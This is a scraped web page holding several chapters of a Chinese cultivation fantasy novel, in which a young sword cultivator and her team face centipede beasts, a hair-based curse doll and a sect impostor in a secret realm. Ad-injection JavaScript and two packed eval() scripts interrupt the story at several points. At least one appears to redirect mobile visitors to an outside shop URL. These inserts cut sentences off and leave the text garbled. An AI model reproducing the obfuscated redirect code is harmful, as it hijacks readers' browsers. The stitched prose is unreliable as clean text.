除去阿九以外,他们四人相处的时间很长,是能够放心将后背交由对方的伙伴。 至于阿九,伏令年对她的了解其实还处于表层。她只知道阿九是归鸿峰的弟子,从前可能有着不一般的过往。 不过,这并不意味着阿九不值得信任。 幻灵塔蛊虫一事,若非阿九,伏令年难以幸免。 因此,光是这一点,伏令年都将阿九视作了可以相信的伙伴。 至于她所谓的“吃人”言论,应当是她的表述能力有限,因此显得尤其恐怖。 毕竟昆仑宗非法外之地,若阿九真会食人,便也不会是归鸿峰到亲传弟子。 带着“姐姐”的滤镜,阿九在伏令年心中的形象已然变为了不太会说话·喜欢乱吃东西·妹妹一样的女孩。 看着阿九黝黑的双眸,伏令年问:“阿九,你要同我们一队吗?” 阿九眼眸微转,似乎在思考着伏令年话语中的含义。 伏令年未听见阿九的回复,却见她突然抬头,脸上表情终于有了些变化。 这是伏令年之前从未见过的——似是雏鸟望见哺育者的神情。 在幻灵塔中,即使是看见自己遍地的尸体,或是蛊虫,也不见阿九面上产生任何波动 微微侧头,伏令年看到了两道身着昆仑宗服饰的身影。 “师兄。”她听见阿九这么称呼他们。 伏令年知晓阿九是归鸿峰的亲传弟子,阿九的师兄应当也是归鸿峰的亲传弟子。 伏令年行了个礼,也跟着喊了一声:“师兄好。” 为首的师兄面容清俊温润,眉宇之间蕴含着淡淡的书卷气息。不像个剑修,倒像个青年书生。 另一位师兄容貌俊朗,颇有股浪荡不羁的意味。一张微笑唇即使不笑,也予人似笑非笑之感。 为首师兄眉头微蹙,蕴着担忧。只是微微颔首以作回应,他眸光便立即转移到了阿九身上。 只见他将阿九上上下下看了一遍,确认她好好的,蹙起的眉头才松开,似是松了口气。 “阿九,我们要启程了,走吧。” 然而,让他未想到的是,阿九并未立即回应。 她脸上少见的流露出纠结的神情。 在为首师兄怔愣的目光下,阿九竟伸手轻轻揪住了伏令年的衣角,轻轻地摇了摇脑袋。 “哈哈哈哈哈哈——” 就在气氛尴尬之时,另一人忽然哈哈大笑起来,完全无视为首师兄难看且复杂的神情。 他光笑还不够,又伸出手掌,重重拍了拍为首师兄的肩膀。 “看吧,我都说了,孩子长大了。” 他笑眯眯地上前,似乎想要揉一揉阿九的脑袋,却被阿九避了过去。 手掌在空中停留了一瞬,顺势向下,拍了拍伏令年的肩膀。 “好了,阿俞。小阿九有自己的朋友了,是好事。咱也不必愁得跟老妈子一样。”他笑眯眯的:“我们家阿九就拜托你了。” 后半句自然是同伏令年说得。 然而,阿俞师兄显然对伏令年这几个突然蹦出来的“野朋友”没什么信任可言。 最终,还是被另一位师兄半拽半拖着以“主力队伍要探索秘境深处太过危险,让阿九和朋友待着有助于小孩身心发展”这样的理由给劝走了。 总觉得被阿九拒绝后,阿俞师兄一下便变得苍老了。 看了眼揪着自己衣角的阿九,伏令年莫名觉得有些好笑。 “记得常回家看看。”伏令年瞧着阿九懵懂的模样,忍不住伸手揉了揉她的脑袋。 “回家…?”阿九似懂非懂。 …… 作为境界最低的小队,伏令年一行剑修并不受其他修士的欢迎。 和辅助性较强的修士不同,境界往往便代表了剑修在队伍中所发挥的能力。 能越境挑战的剑修是万中无一的天才,并不在人们考虑的范围。 因此,伏令年小队便成了最后被挑选的选择。 最终,小队的成员最终以五位剑修,一位来自百药谷的丹修,以及一位来自星机阁的器修所组成。 一路朝着东侧行进,枝叶依旧繁茂,入目皆是绿色。 温季才、从承言在前方打头阵,伏令年和阿九位于队伍后方,其余三人便行于中段,将丹修与器修护在中间。 一路行进,平日多言的温季才罕见的未发一言,队伍始终一片静默。 不知向前行进了多久,伏令年只觉得眼前的一切事物大相径庭,让人有错失方位之感。 温季才和从承言恐怕也有此感受,再向前行进一段后,两人皆不约而同地停了下来。 “我们的方向正确吗?”温季才的疑问也正是伏令年心中所想。 苍天树木遮天蔽日,伏令年甚至无法透过光线与日向判断时间与方位。 再加之四周更本没有参照物,更是难以进行分辨。 伏令年的神识扩散开来,将队伍笼罩在其中。 然而,她的神识扩散的距离是有限的,她无法将整个秘境都笼罩在神识之中,自然也难以依靠神识辨路。 四周依旧静悄悄的,却并不让人感到宁静。 其实在最初,伏令年内心便有些疑惑。 秘境之内,是无人之境。按常理来说,应存在不少的妖兽。 可直到如今,别说妖兽,即使是妖兽的皮毛,他们也未曾见着。 事出反常必有妖,伏令年心中始终有种预感,危险近在咫尺。 无法借助天象识路,便只能依靠自身。 作为半个符修的伏令年习过一些卜术的皮毛,能够一定程度上寻路。 然而,她却不能当着这么多人的面施行卜术。 这么想着,伏令年几人的目光默契地落到了队伍中唯一一个器修的身上。 器修是个身材中等,有些微胖的姑娘。 她长相偏向甜美可爱,有着一双与其余五官不太契合的柳叶眼。 伏令年印象中,拥有柳叶眼的女子,通常都予人孤清之感——例如从前在外门的蒋师姐和从承言记忆中的杜娘。 “你们星机阁不是擅长卜术?”温季才期待地问道。 器修先是一愣,接着反应过来,有些无奈地道:“我是器修啊…你们昆仑宗也有医修丹修,你们会炼丹制药吗?” 还真就什么都会一点的伏令年一脸真诚:“我可以学。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “一门通,百门通。”温季才赞成道。 器修:“……”拜托,这是想通就能通的吗。 “哼。”一旁的丹修有些不耐,嘟囔了一声:“胡闹。” 他已是金丹中期,却被分配到全是金丹初期修士的队伍内,本来便十分不喜。 就在他不耐的想要出言训斥之时,却见那器修沉默了一会,居然从储物空间内掏出了一本古籍似的事物。 古籍敞开,足有人长的书页上满是足以晃花人双眼的文字与图案。 器修翻动着书页,竟真是一副准备当场学习的模样。 丹修:? 你真学啊。 显然,在场之人都是认真的。 当看见器修取出各种复杂器具开始组装之时,丹修更是眼前一黑,顿感小队前途无望。 伏令年蹲在一旁,和高墨贤一起围观着古籍上的内容。 器修沉浸于自己的制作中,也不在乎自己的书籍被剑修看了去。 身为懂一些门道的半个内行,伏令年不由得被书籍上的内容所吸引,一时间沉浸于其中。 制作机巧零件、组装法器于伏令年还很陌生。但其中蕴含的法阵,以及各法阵之间互嵌联动的技巧,却能让伏令年收获颇多。 阵眼如星斗,环环扣相生。 既要能够推动运行星运卜算,又要保持足够小的体积,以便刻印于法器之上。 伏令年还是第一次接触到星机阁此种“炼器”的方式。 先前她通过系统所学习的炼器,只是粗层的锻器法门。 在此之后,炼器又有两个分支。 一是如星机阁般刻印符咒阵法所制的法器,二是如断岳殿般以灵力浸润,以外力打磨制作法器。 昆仑宗内的玄泽峰的器修,也是以第二种方式炼器的 沉浸于书中内容时,古语言所组成的符咒似乎都有了灵性。它们宛若流水,又似游龙,在泛黄的书页上蜿蜒着、飞舞着。 伏令年在脑海中想象着符咒的一笔一画,推算着其运作的模式。 温季才和从承言两位剑修对符咒一窍不通,光是看着那繁杂的古语言都想要打瞌睡。自然无法理解伏令年的感受。 不过,内行看门道,外行看热闹。虽然他们什么都不懂,但这这丝毫不影响他们也跟着蹲在一旁围观看热闹。 阿九则也有样学样,蹲在伏令年身旁,视线却明显并未往书籍上瞧。 她眼眸低垂,注视着枯枝下爬行的蚁虫。 “一门通,百门通。”并非是玩笑之语。 更准确来说,星机阁的卜修、符修以及器修之间的关系十分紧密。 无论修行何种路子,期中根本终要归于符咒法阵。 器修虽然不擅行卜术,却能制作出用于寻路的法器。 待将原理研究清楚,器修两手一张,便当着众人的面制作起法器。 她十指灵巧转动,法器在她手中逐渐成型。 眼见着胜利在望,伏令年却突然从沉醉中挣脱出来。 扩散在四周的神识有所触动,这是危险将要来临的征兆。 灵力集中至五官,五感顿时变得尤为敏锐。 方圆百里的声音齐齐汇入耳中,枝叶抽条生长、枯枝败叶飘落、气流吹拂身侧……在各种声音之中,伏令年分辨出了一丝不同寻常的动静。 似乎有什么事物在地面爬行,发出轻微的沙沙响动。 伏令年环顾四周,忽的悚然一惊。 周遭地面上不知何时出现了一道道令人头皮发麻的蜿蜒游动的身躯。在微薄的阳光下,它们的身躯反射着微光,仿佛是一道道诡异的光影。 如虫如蛇,状似蜈蚣。 而那发出古怪声响的,正是它们的千百只细足。 76. 万霭之幽(三) “来了。”伏令年出声提醒。 她声音很轻,像是怕惊扰了他人的美梦。 近乎是她出声的下一瞬,温季才几人默契起身,形成环绕之势,将沉浸于制作法器的器修以及还处于状况外的丹修护在中央。 沙沙之声愈加明显,放眼望去,皆是蜿蜒扭动的诡异虚影。 秘境中的妖兽种类千奇百怪,在不知晓此类妖兽具体特性的情况下,伏令年几人不敢轻举妄动。 神识探寻到一处空缺,伏令年眼神示意几人向那个方向移动,伸手拖了一把还沉浸于自己世界中的器修,想将她扶到自己身上。 然而,器修的身高与她相仿,伏令年力气虽足够,却难以调整一个合适的姿势。 就在这时,伏令年肩头忽的一轻,就见器修的身体一晃,整个人就宛如一个人形麻袋,被阿九抗在了肩膀上。 阿九表情轻松,丝毫看不出肩上抗了个大活人。 更让伏令年震惊的是,即使以这么一个难受的姿势趴于阿九的肩头上,器修也依旧沉浸于自己的世界中,眼神痴迷地盯着书页与手中的未完品。 几人缓慢朝空缺处移动着,突然,一道尖叫声打破了周遭的宁静。 伏令年心脏下沉,她未有看向尖叫之人。 伴随着轻微的破空声,伏令年手中铁剑随即斩出。 剑尖斜着巧劲,颤动着与黑色的虫壳相触。 伴随着轻微的撞击声,挥舞着千百只细足的妖兽被掀飞,砸落到另一只妖兽的背部,引起一片骚动。 场面顿时混乱起来,妖兽身躯细长爬动缠绕,却未再袭击。 这时,伏令年才后头看了眼刚刚出出声尖叫的丹修,他显然是才发觉满地妖兽的存在,一时骇然间发出了响动。 “莫要发出响动。”伏令年借灵力传音至众人耳侧:“这妖兽似乎视力不佳。” 丹修微微蹙眉,眼眸微转,却未说什么。 几人悄声朝空缺处移动,小心着未发出声响。 果不其然,围绕在四周的妖兽并未朝着他们攻击,而是循着一个方向爬动着。 看来,它们的目标并非他们。 只是几人正巧站在了它们的必经之路上。 就在几人行至缺口,即将要离开妖兽包围之时,伏令年鼻尖飘过了一阵若有似无的香气。 心中不好的预感刚刚升起。 下一刻,异变陡生。 伏令年“跑”字还未出口,眼角便见一道绿色的身影晃动,就见丹修头也不回地朝远处跑去。 刚才还缓缓朝着一个方向挪动的妖兽们齐齐骚乱起来,如同闻见了腥的鲨鱼,疯狂地扑食海中的猎物。 伏令年挥剑格挡,于身前布下一层密不透风的剑网。 每一剑出,不求斩杀妖兽,只求将掀飞。 虽然不知这妖兽具体什么来头,可光瞧它的外貌,伏令年也免不了有所猜测。 形似蜈蚣,色彩斑斓,可不是有毒的象征? 在这种情况下,伏令年自然不会草率行事,以免斩破的虫躯中蕴含毒液,造成二次伤害。 妖兽形态可怖,却不算难缠。 伏令年几人废了一番气力,待一切结束,只余下满地微微抽搐的虫躯。 它们并未就此死去,只是被剑气打入体内,失了活动的能力。 手下发力,伏令年一剑穿透了离她最近的虫躯。 鼻尖嗅到一股腥气。 紫红近黑的血液顺着缺口流淌而出——说是血液,更像是粘液。 液体附着于剑上,留下轻微的腐蚀痕迹。 伏令年如今手持之剑是材质最普通的剑,即使是寻常凡间人家也能够买到。 由此可见,这妖兽血液的腐蚀能力并不算强,这往往意味着它们的毒性较弱。 这让伏令年松了一口气。 一边下手斩杀着妖兽,伏令年一边在其体内翻找着晶核,却始终一无所获。 伏令年轻轻甩去剑上的血迹,有些苦恼地望着脚下一地妖兽的尸首。 抬眸望向周遭的同伴,便见温季才和从承言齐齐摇头。 看来他们也未寻到晶核。 不知是不是这批妖兽的境界过低的缘故。 温季才用剑戳了戳地上长着密密麻麻细足的蜈蚣状妖兽,脸上有些嫌恶。 “这东西实力一般,长得却是异常恶心。” 伏令年看了眼阿九,见她一直盯着地上的虫躯,似是很感兴趣的模样。 伏令年赶紧从储物空间中取出一个白面馒头,塞进了阿九嘴中。 阿九的注意力立即被转移,专心吃起馒头。 “你们剑修做事可真是粗暴。”不和谐的声音传来,就见身着百药谷衣袍的丹修从不远处的树后探出脑袋,看着面前的一地的妖兽尸体抱怨道:“你们直接将妖兽身体斩断,我就没法收集它们的毒液了。这可是很重要的炼丹材料!” 这还没完,他走到温季才和从承言面前,毫不客气伸出手。 “这、这、还有这里,我都要。” 他乱指一顿后,理所当然地看着温季才。 然而,温季才却未如他预料般行动,两人就这么站着,对视了一会儿。 “没听见我的话吗?”他皱眉瞪着温季才。 “听见了。”温季才笑嘻嘻地道:“你要,我们不要,让给你了。” 丹修面色不善,恶狠狠地看了温季才一眼,随即转身指着高墨贤:“你过来。” 高墨贤还是那副没什么表情的模样,但与他相熟多年的几人却知道,他已经忍耐到了极限。 对于一个有洁癖的人来说,周遭的环境的确是噩梦。 丹修再次碰壁,眼神已经阴沉的能滴出水来。 就在这时,伏令年却动了起来。 只见她拿着不知从何处取出的白玉瓶,俯身开始取妖兽体内的血液。 丹修阴沉的心情这才有所缓和,他面露讥笑之意,回眸望向另外三人:“还是这位小师妹识相,我手上的丹药可是有限的,劝你们…”后半句话未出口,却卡在了喉咙里。 温季才三人的身影不知何时已经消失了,视线之内,背后的妖兽忽然弹动了一下,将他骇的面色大变。 他也顾不得作高傲姿态,急忙躲到了阿九身旁。 温季才几人不知何时已经跑到了伏令年身旁,高墨贤捂着鼻子在一旁看着,温季才和从承言着争着抢着收取妖兽身上的毒血。 见他们忙活的模样,丹修心情顿时大好,刚刚内心的憋屈化作了鄙夷。 还以为这些剑修如何清高呢,还不是得为了丹药的获取为他做事。 收集完毕,丹修正老神地站在一旁,等着伏令年几人上交战利品,却见伏令年几人收拾了一下,将玉瓶装入储物空间中,一副要启程的模样。 伏令年收集了三瓶毒血,再未采集它物。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这些妖兽的修为过低,除了蕴含特殊毒质的血液,其余部件并无太多用处。 想了想,伏令年又重新取出一瓶毒血,向丹修走去。 然后,在丹修得意的目光下,玉瓶从他眼前划过,放到了阿九手上。 “这是…什么?”阿九打开嗅了嗅:“这个…不吃。” 看着被塞回自己手中玉瓶,伏令年有些无奈:“这本来就不是让你吃的。” “不吃,不要。” 好吧,阿九显然有自己的追求。 丹修在一旁看着,眼珠子几乎都要瞪出来了。 “你们…我…”他一时间都不知该说些什么。 伏令年这时才像是刚注意到他一样,面露诧异之色:“你在这儿啊,我还以为你还躲在树后呢。” 这句话听着有些古怪,丹修却说不上是哪里古怪。 “你也想要这毒血?”伏令年看见丹修的眼神,似乎恍然大悟般点了点头:“地上妖兽的尸体多,你采集一下,应当是还有剩余的。” 见丹修没有动作,伏令年一拍脑袋,好像又明白了什么:“我懂了!你莫不是没带器具?没事,我借给你,一个时辰两块灵石,绝对实惠。” 你懂了个什么? 丹修面上涨红,有火气却难撒。 就在这时,忽听一声欢呼。 被阿九扛在肩头的器修举起手中的事物,面露笑意:“成功了!我做出来了!” 几人的目光顿时被吸引。 方形盘上放置着汤匙般的事物,“汤匙”中央,散发着轻微的蓝色荧光。 器修伸出手指拨动,就见汤匙旋转两圈,晃动几下后,定格于方盘的右上角。 无论人再如何转动,匙柄都只朝着一个方向,未再偏移。 “司南?”伏令年下意识道。 “司南?”器修重复了一句,瞪大了双眼:“你怎知晓它的名字?” “我猜的。”伏令年干笑一声。 因为这和伏令年印象中的司南一模一样啊! 器修从阿九的肩头下来,介绍起手中“司南”的作用。 这“司南”不仅与原来世界的司南外形相似,功能也大差不差。 往内输入灵力,勺柄便会转动方向,最终指向南方。 不过,这个司南运转可并非依托磁场指南,而是依靠法器内印刻好的阵法,推行卜术所成。 “我还做了一些改进。”器修介绍道:“寻常的司南只能指向南方,但这个不同,只要改变灵力回路,便能指向其余的方向。” 说完,她眼中亮晶晶的,就等着听伏令年几人的夸赞了。 “无论指哪个方向,似乎都一样,只要…”从承言话未说完,却被温季才一把捂住了嘴巴。 伏令年则竖起大拇指,眼神真挚:“非常好的改进!” 器修顿时笑地眯起了眼睛,她一边踱步,一边嘟囔着:“法器内有卜算星象的阵法,我再做些许调整,还可以卜算气象,或是探测水源…” 卜算气象水源?伏令年眼睛一亮。 “这是极好的想法!” 器修听到此言,顿时眉开眼笑。 她拉住伏令年的手,有些激动地道:“你是第二个如此与我同频之人,我名杜钟毓,不知你的姓名?” 好耳熟的话语。 似乎在哪里听过? 伏令年看着面前之人,脑海中忽地浮现出一道身影。 77. 万霭之幽(四) 身高相仿,亮晶晶的眼眸,熟悉的话语… 伏令年试探着问:“摊主?” 杜钟毓微微怔愣,随即面露惊喜之色。 “是你?!你变化可真大呀!” 星机阁也同处于东境,又是售卖炼丹炉的器修,各方面的确都十分符合。 修仙界可真小啊,伏令年在心中感叹了一句。 循着司南指“东”的方向,一行人继续前行。 越往前行,枝叶便愈加繁茂,让人分不清是天色已暗,还是枝叶遮盖。 直到最后,四周已然是漆黑不见五指。 只有将灵力集中至眼部,才能看清周遭的事物。 打头阵的换成了伏令年与阿九。 左手托着司南,莹莹蓝光在黑暗中宛若幽魂,分外诡异。 就是一直显得不太配合的丹修也没出声捣乱,静静地跟随着前行。 突然,伏令年听见右侧有窸窸窣窣的动静。 她转头去看,正好瞧见阿九有些苍白的下颌。 “阿九?”伏令年唤了她一声。 “嗯。”阿九回应一如既往的简短。 窸窸窣窣的动静停止了。 伏令年再次扭过头去。 可未行两步,她忽的觉得后脖颈处发痒。 似乎有什么东西,轻轻扫过了她的后颈。 伏令年脑海中顿时浮现出许多恐怖片中会出现的画面——什么悬挂的鞋尖,倒挂垂落的发丝,亦或是诡异恶心的面孔。 她没有急着抬头,而是轻唤了一声:“阿九。” 神识随即向上蔓延,探查上方的事物。 然而,神识并非万能的。 就比如现在。 伏令年的神识扑了个空,未发现任何不对劲的事物。 就在这时,一双微凉的手贴上了她的脖颈。 阿九的面孔近在咫尺。 伴随着“咔哒”一声轻响,那双冰凉的手将缠绕在伏令年颈上那看不见的丝线尽数扯断。 直到丝线割破了阿九的指尖,丝丝血迹渗出,浸染其上,伏令年才看清了那不知何时缠绕在她脖颈之上的丝线。 若是她刚刚有什么大的动作,丝线恐怕会立即收紧,直到她窒息或喉咙被割断。 伏令年头皮发麻,心下发沉。 这比外形恶心的蜈蚣状妖兽还要可怕。 神不知鬼不觉间,便能威胁她的性命。 伏令年抬头,往上方望去,看清了刚刚扫过她脖颈的事物——那是两只向下垂着的鞋尖。 恐怖片照进现实,伏令年却没时间感到惊恐。 她反手一剑,向上方斩去。 神识无法察觉的事物,不是没有灵性,便是修为高于伏令年。 无论是哪一个原因,上方的事物都绝非善意。 剑身近乎无阻地斩入其中,忽有停滞。 伏令年仿佛一剑斩如绸缎之中,富有弹性的材质大大消减了剑势的锐利,让她有无处使力之感。 灵力周转,剑身瞬时燃起焰光。 灌注了火灵力与木灵力的火焰将垂下的脚尖点燃,不断燃烧着。 伏令年耳边似有女孩的啜泣声,然后便是凄厉的尖啸。 紧接着,一个巴掌大小的事物“啪嗒”一声掉落在地,外表已是焦黑一片。 伏令年再次嗅到了那若有似无的香气。 挑开被烧焦的表皮,内里的事物显露出来。 那是一团丝线状的东西,白色丝线内,黑色的发丝尤其明显。 发丝的质感与丝线明显有异,因而伏令年一眼便分辨出了两者材质的不同。 发丝呈健康的黑色,长度中等。 伏令年沉默了片刻,指尖抚了抚自己齐肩的发丝。 ——似乎,和她的相似。 这是什么? 伏令年望了眼一向见多识广的高墨贤,用眼神表达自己的困惑。 “蛊,用血肉作引的蛊。” 高墨贤不负众望地回答道。 “蛊毒?”温季才紧张地将伏令年上下打量了一遍:“不会又有虫子钻进你的身体里了吧?” “用血肉作引?”伏令年重复了一遍。 “是。”高墨贤解释道:“蛊是一种术法的统称,并不局限于虫蛊。像这个…”他指了指地上焦黑一片的东西:“采取毛发血肉,制作蛊毒娃娃,亦可成蛊。” 蛊毒娃娃。 “真是邪异。”从承言说出了众人心中所想。 “那这发丝…合欢宗…”杜钟毓显然也对蛊术有些了解,闻言立即便有所领悟,面露忧虑之色:“你的发丝怎么会落于他们之手?他们又怎会在中途利用蛊毒娃娃埋伏我们?” 是啊。 为何呢? 伏令年想不明白。 从在长乐坊被袭击,再到如今…不,或许再倒退一些时日,在四境大会开启之前,幻灵塔遇蛊虫一事,抑或是更早…在她未有意识的情况下,危险已在逐渐靠近。 可是伏令年完全不知晓,自己到底有何种特殊。 难道便因为她是穿越者?抑或是原身未知的特殊身世? 伏令年不敢确定。 因此,她在四境大会开始之初,便下定决心不再向旁人显露自己所学甚多的事实。 不过,即使是如此,她似乎也早已被未知的势力盯上了——而这势力,大概率和合欢宗脱不了干系。 就在她思虑良多之时,神识海忽有触动。 【九十年义务修仙系统提醒您:】 【触发任务】 【任务介绍:飞剑袭击、蛊虫袭击、长乐坊遇险以及身中蛊术等事让你心生猜测,你希望寻找真相并保护自身】 【任务进度: ①消除被袭击者掌握的毛发血肉(0/3) ②??? ③??? ……】 任务进度只有一条是能够查看的,其余的全都如同被打了马赛克一遍,模糊不清。 不过,仅是这一条,便足够让伏令年感到心惊胆战。 目光下移,再看向任务道具。 【任务道具: ①《蛊术入门》 从入门到入狱的蛊术著作! ②《毒药辨别大全》 修仙者,来喝药啦。 ③《如何分清双胞胎》 一双眼睛一张嘴!两个鼻孔两条腿! ④《合欢宗养鱼指南》 坏女人的自我修养。】 第一二本就算了,其余两本都是什么东西啊?! 伏令年又气又想笑,如此这般,反而冷静了下来。 她向下扫去,将最后的内容收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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铭牌微微晃动,像是摇动的警铃。 这是求助的信号。 也就是说,附近有修仙者遭遇了危及生命的危机,不得不捏碎身份铭牌求助。 而这仅是进入秘境的第一日。 几人面面相觑,不约而同地想到另一个可能。 这是一个陷阱。 就在此时,沉寂了许久的丹修忽地起身,一脸焦急。 “你们还坐着做什么。”他有些愤怒地道:“有人遇险了,我们应当去救他们!” “你怎么忽然如此积极?”温季才被他吓了一跳,奇怪地嘟囔了一句。 丹修正气凛然:“救死扶伤乃我们的职责,若你们不去,我便自行去了!” “那你去吧。”伏令年忽然道。 丹修似是未想到伏令年会做如此回应。 “你们…”他一甩袖子:“同为修仙者,便如此冷血?” 见伏令年一行人不为所动,丹修竟真的转身,欲要离开。 “等一下。” 伏令年盯着丹修微顿的背影,忽地笑了一声 “我方才在开玩笑呢,道友所说极是。同为修仙者,自然应当互相帮助。” 78. 万霭之幽(五) 秘境之外。 除去坐于大殿的大佬们外,跟随众门派而来却不符合进入秘境条件的弟子们亦围绕在水影幕旁进行观看。 虽未有组织,不同境的弟子却自发分割开来,形成对立的局势。 起初,秘境之内一切正常。 各境的弟子汇聚在一起后,也如东境一般,分成不同的小队行动。 各境都不约而同的选择以修为境界分配队伍,将修为较低的修士排除在主要队伍之外。 让众人感到奇怪的是,大部分小队行动之时,都竟愣是未遇见过任何妖兽。 即使遇见了,也像伏令年一行人所遭遇了一般,境界较低,甚至未凝出晶核,无法算入积分当中。 秘境之内,妖兽横行。 事出反常,必有猫腻。 若只有部分人是如此状况,还能用意外来解释。 如今所有人情况相同,便尤为古怪了。 四境大会持续时日漫长,开始的日子,往往都是较为平淡无趣的。 以往日的经验来看,大半时期,都只能看见众位弟子共同合作斩杀妖兽。 直到各境相遇,或是主力小队深入秘境,才是四境大会重头戏。 就在众人以为此次四境大会也会如以往一般发展时,异变陡生。 水影幕之上,一处光芒大盛。 ——这意味着有弟子捏碎了身份铭牌,发出了求助信号。 “怎么回事?” 大殿之中,武丹卿微微抬手,水影幕在她的操控之下放大,画面清晰地呈现出来。 秘境之中多变,即使是大能也难以完全掌控,更无法在其中布置传送画面的阵法。 因此,水影幕呈现的画面依托于每人手中的身份铭牌。 身份铭牌被击碎后,便无法再持续呈现画面。 守在水影幕前的修士只能查看身份铭牌被击碎前的最后一段画面。 画面回放,一位修士独自行走于黝黑的山谷之内。 他衣着朴素,未有明显标识,似乎不属于任何一个门派。 见此,众位长老内心都略有放松。 不是自己门下的弟子便好。 修士的脚步很轻,在空荡荡的山谷间,却显得分外明显。 “哒…哒…哒…” 修士显然也被这声响影响了情绪,他脚步渐快,由走至跑,于黑暗间飞掠。 慌张间,他未注意到在山壁之上,一朵朵紫色的小花肆意盛开着。 “魔魇花。”合欢宗宗主娄烨红唇微启,轻笑道:“可爱的小家伙们。” 在场懂药的长老们皆面露凝重之色,显然,他们并不太赞同娄烨对“魔魇花”的评价。 “万霭之幽果然危险异常,”昆仑宗丹峰峰主姜迎一双清冷的眉目微微蹙起,略有些忧虑:“仅是秘境外侧,便有如此危险的灵植存在。” 画面继续往前,面前豁然大亮。 修士抬头,发觉自己已经跑到了裂谷之下。阳光透过裂缝,从上方照入。 在阳光的笼罩下,修士顿时觉得心中安定了些许。 他脚步放缓,准备朝着光线充足的地方走去。 就在这时,修士的身体微微顿住。 随即,他脸上露出惶恐之色,身体抖若筛糠。 修士抬起双手,竟就这么狠狠扼住了自己的脖颈。 面色随着力道的加重而逐渐泛红,面容也完全扭曲。 就在这时,画面中忽地传来铃铛声。 “叮铃——叮铃——” 修士顿时僵住,身体失去支撑,就这么倒在地上。 然而,即使是如此,他的手依旧在努力向上抬起,意图掐住自己的脖颈。 就在此时,一只白皙的赤足缓缓出现于画面当中。 赤足先是一脚踩断了修士的肘关节,随后,画面被暗色笼罩,骤然破碎。 身份铭牌被损坏了。 水影幕晃动,逐渐浮现出其它画面。 此时,水影幕上正显现着距离修士出事地点最近的几支队伍。 他们都接受到了身份铭牌被破坏的信号。 没看到自家弟子的长老们松了口气,看到的则是忧虑万千。 先不说位于山谷中的危险灵植,就是最后出现的那只赤足,也预示着此处必有危险。 至于赤足的主人是何人,几乎不用思考——“除了合欢宗,还有哪个宗门这么变态光着脚在秘境里走来走去的?” 这句话近乎是说出了在场之人的心声,然而,就在他们暗暗点头之际,却忽然发觉竟有人直接将此语脱口而出,一时纷纷侧目。 嘴巴动的比脑子快的陈旭在众人的目光下有些心虚,却又碍于颜面重新昂起了脑袋。 随后,他便与娄烨对上了视线。 娄烨难辨雌雄的面容上看不出任何生气的神色,反而还朝陈旭露出了一抹笑容。 陈旭顿时觉得一阵头皮发麻,压低声音嘟囔了一句:“笑起来怪模怪样的,跟宗主似的。” 他口中的宗主是谁不言而喻。 姜迎少见地流露出无奈的神色:“陈长老,少说两句罢。” “嗐,我就随便说说。”陈旭嘴上还是不服输:“宗主今日又没来。” 旁边的昆仑宗弟子低着脑袋,默默装死。 …… 秘境之内。 一行人快速穿梭于林间,领头之人一身青衫,竟是百药谷的丹修打扮。 他们的速度不慢,奔跑间,风刮过衣袍,猎猎作响。 突然,为首之人猛然顿住。 他背后之人似是未反应过来,迈出去的脚一下便踩在了对方的衣袍之上。 伴随着撕拉一声,衣袍下摆竟就这么被硬生生的撕扯下来。 两道力量拉扯着,他失去平衡,就这么朝着前方栽倒。 下一刻,一只手攥住了他的袖袍。 无视丹修震惊的神情,伏令年低头看着他失去掩盖的双脚。 白皙,光洁。 这是一双赤裸的脚。 再次抬头时,两人目光相对。 只是短短几秒,“丹修”的表情便与之前迥然不同了。 明明都是那张面孔,却予人截然不同之感。 “丹修”嘴角微微上翘,透出一股不属于他的娇媚之感。 “脚很好看,平时有保养吗。”伏令年突然问了一句。 她尾调平稳,显然并未期待收获对方的“保养秘诀”。 “丹修”明显怔了怔,这或许是他至今为止流露出过的最真实的神情。 下一刻,伏令年松开了手。 失去借力的“丹修”身体不由自主地向后倾倒。 随着“丹修”的摔落,面前的画面忽地扭曲。 原本看着似是坚实的地面塌陷,三步之遥外,竟一片断崖。 断崖之下,是一片深不见底的深谷。 伏令年背后寒毛倒竖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954304|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她脚尖发力,就待往后退去。 然而,脚腕忽有束缚之感。 一股力道顺着脚腕传来。 一根小臂粗细的条状物不知何时竟缠绕于她的脚腕处,另一端延伸向黝黑的崖底。 伏令年反应极快,未被束缚的左脚猛地下沉,硬生生插入地面,勉强止住了向前的趋势。 一只手从下方探出,扣住了断崖边缘,仿佛是地狱中探出的恶鬼。 而这恶鬼,似乎想要将伏令年也一同拖入炼狱当中。 那只手向前摸索着,就待要触碰到伏令年脚尖时,伏令年却先一步伸手,将人从断崖外拉了上来。 对方依旧顶着丹修的面孔,却未再掩饰神情。 即使是险些掉入断崖之下,他的脸上也依旧挂着暧昧不明的笑容。 伏令年将人拖起后,无视对方的神情,还“贴心”地替对方拍了拍衣袍上沾染的泥土。 “你原来的脸多好看,怎么挂着他的面孔。”伏令年像是唠家常般随意问道。 “是吗?”“丹修”微笑着,轻轻扣住伏令年的手,五指近乎要与她十指相扣:“你也生的极好看呢。” 他的瞳孔微微颤动,泛出一抹不易察觉的紫光。 在水影幕的视角看来,“丹修”半个人近乎都靠进了伏令年的怀中,两人似乎十分亲密地拥抱在一起。 下一刻,一道阴影忽地出现在两人身侧。 剑光闪动,血肉撕裂。 血花于面前绽开。 阿九一剑斩断了“丹修”的右臂。 